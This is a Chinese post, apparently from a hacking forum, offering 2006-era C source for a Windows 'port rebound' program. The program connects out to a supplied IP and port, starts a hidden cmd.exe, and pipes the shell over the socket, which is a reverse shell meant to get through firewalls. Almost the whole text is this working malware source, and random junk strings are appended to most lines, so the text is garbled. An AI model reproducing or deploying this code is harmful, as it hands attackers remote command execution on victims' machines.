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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `DE_<l  
:yE0DS<_  
/* ============================== p5py3k  
Rebound port in Windows NT 7KGb2V<t  
By wind,2006/7 EiaP1o  
===============================*/ .LDp.#d9r1  
#include Q^=0p0  
#include azNv(|eeJL  
= y(*?TZH  
#pragma comment(lib,"wsock32.lib") FhPCFmmUT  
$RB p!7  
void OutputShell(); 4;>HBCM4-  
SOCKET sClient; D SWmQQ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Q, "8Ty  
X&| R\v=}  
void main(int argc,char **argv) DajN1}]  
{ /2hRL yeAZ  
WSADATA stWsaData; )m[<lJ bw  
int nRet; h@'CmIZc  
SOCKADDR_IN stSaiClient,stSaiServer; KK5_;<  
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if(argc != 3) eE=2~ ylU  
{ Rry] 6(  
printf("Useage:\n\rRebound DestIP DestPort\n"); : 2$*'{mM  
return; |:Maa6(W  
} 7lA_*t@y  
QSn18V>{  
WSAStartup(MAKEWORD(2,2),&stWsaData); ywkRH  
wr=K AsH<  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Owgy<@C  
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stSaiClient.sin_family = AF_INET; AaoS & q  
stSaiClient.sin_port = htons(0); tZVs0eVF<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); q_ryW$/_  
v`jHd*&6)  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) =yM%#{t&W  
{ jN'h/\  
printf("Bind Socket Failed!\n"); _d!o,=}  
return; { o5^nd  
} CWRB/WH:  
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stSaiServer.sin_family = AF_INET; f [.'V1  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 2"6qg>]-t  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); olA+B  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .pdcwd9  
{ '1xhP}'3)  
printf("Connect Error!"); z*q+5p@~  
return; l?rLadvc  
} 4\p%|G^hU  
OutputShell(); ;ND[+i2MN  
} 7:Rt) EE2  
t+q;}ZvG  
void OutputShell() c3ru4o*K  
{ %.]#3tW  
char szBuff[1024]; Y*p<\{,oC  
SECURITY_ATTRIBUTES stSecurityAttributes; GvgTbCxnN  
OSVERSIONINFO stOsversionInfo; *]h"J]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5 r_Z3/%  
STARTUPINFO stStartupInfo; E i>GhvRM  
char *szShell; [hpkE lE  
PROCESS_INFORMATION stProcessInformation; s :BW}PM  
unsigned long lBytesRead; n-],!pL^  
>;Vfs{Z(q  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -K(d]-yv  
G!=(^G@J;  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); S@S4<R1{\  
stSecurityAttributes.lpSecurityDescriptor = 0; Yt,MXm\  
stSecurityAttributes.bInheritHandle = TRUE; s^IC]sW\%  
9[&ByEAK  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); /]j{P4  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @ <2y+_e  
9L3P'!Z  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); c}|.U  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QA;,/iw`  
stStartupInfo.wShowWindow = SW_HIDE; :t9![y[=|  
stStartupInfo.hStdInput = hReadPipe; VS ;y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; o#1Ta7Ro  
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GetVersionEx(&stOsversionInfo); X=Ar"Dx}}s  
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switch(stOsversionInfo.dwPlatformId) do.>Y}d  
{ a9.255  
case 1: (Cq 38~mR  
szShell = "command.com"; +Yq?:uBV  
break; T}1"  
default: 6^V( C;5!  
szShell = "cmd.exe"; m9sck:g#L1  
break; );}M"W8  
} R@5eHP^  
{jQLr7'  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ub9[!}r't  
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send(sClient,szMsg,77,0); 0V]MAuD($  
while(1) }`H{;A h  
{ ~"vS$>+  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); IA Ma  
if(lBytesRead) cZF|oZ6<  
{ KU{zzn;g  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); K0C"s 'q  
send(sClient,szBuff,lBytesRead,0); WbhYGcRy  
} 4guR8 elM  
else O43"-  
{ C@t,oDU#  
lBytesRead=recv(sClient,szBuff,1024,0); Q(aNa!  
if(lBytesRead<=0) break; <oT1&C{  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iHc(e(CB<  
} "q=ss:(  
} qrj f  
+cYDz#3%  
return; CMbID1M3  
}
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